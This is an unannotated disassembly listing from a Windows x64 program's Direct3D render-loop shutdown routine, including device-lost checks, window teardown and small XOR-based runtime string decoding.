call fcn.140002a30
mov rdx, rbx
mov rcx, rax
call fcn.1400383d0
cmp byte [0x14008a0c8], 0
je 0x14006ede4
lea rdx, [rbp + 0x390]
mov byte [rbp + 0x3e], 0
lea rcx, [rbp + 0x3e]
call fcn.140070510
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006edbc
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006ede4
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006edeb
mov byte [0x14008ae2b], 0
jmp 0x14006ef6c
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006ef6c
lea rdx, [rbp + 0x10c0]
mov byte [rbp + 0x3f], 0
lea rcx, [rbp + 0x3f]
call fcn.140070530
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14006ef64
xor r8d, r8d
cmp edi, 2
jl 0x14006ef27
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006ee32
cmp r8d, 0x11
jge 0x14006ef64
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14006ef30
mov rcx, r10
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm3, dword [0x14007f3d0]
lea rcx, [rbp + 0xb80]
movss xmm2, dword [0x14007f48c]
movaps xmm1, xmm13
mov rbx, qword [str.NONE]
movss dword [rsp + 0x20], xmm15
call fcn.140002a30
mov rdx, rbx
mov rcx, rax
call fcn.1400383d0
call fcn.1400113b0
call fcn.1400113b0
call fcn.14000a3e0
mov rcx, qword [0x14008ae80]
xor ebx, ebx
mov dword [rsp + 0x30], ebx
mov r9d, 3
movss dword [rsp + 0x28], xmm15
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x14008ae80]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14006f023
call fcn.14000a8d0
call fcn.140006ac0
mov rcx, rax
call fcn.140034d30
mov rcx, qword [0x14008ae80]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rax, qword [rbp + 0x4a20]
test dword [rax], 0x400
je 0x14006f040
call fcn.14001a320
xor edx, edx
xor ecx, ecx
call fcn.14001a750
mov rcx, qword [0x14008ae80]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
call r10
cmp eax, 0x88760868
jne 0x14006f081
mov rcx, qword [0x14008ae80]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x14006f081
call fcn.14004d110
cmp byte [0x14008a0ca], bl
je 0x14006f098
cmp dword [rbp + 0x2908], 0x12
jne 0x140059ed0
jmp 0x14006f0a2
mov dword [rbp + 0x2908], 0x12
call fcn.1400353b0
call fcn.140035f00
xor ecx, ecx
call fcn.140006a50
call fcn.14004d0c0
mov rcx, qword [0x14008aeb0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x23e8]
mov rcx, qword [rbp + 0x2410]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm15, xmmword [rsp + 0x4ba0]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x4bb0]
movaps xmm13, xmmword [rsp + 0x4bc0]
movaps xmm12, xmmword [rsp + 0x4bd0]
movaps xmm11, xmmword [rsp + 0x4be0]
movaps xmm10, xmmword [rsp + 0x4bf0]
movaps xmm9, xmmword [rsp + 0x4c00]
movaps xmm8, xmmword [rsp + 0x4c10]
movaps xmm7, xmmword [rsp + 0x4c20]
movaps xmm6, xmmword [rsp + 0x4c30]
mov r13, qword [rsp + 0x4c78]
mov r12, qword [rsp + 0x4c70]
mov rcx, qword [rbp + 0x4a90]
xor rcx, rsp
call fcn.1400735e0
mov rbx, qword [rsp + 0x4c80]
add rsp, 0x4c40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret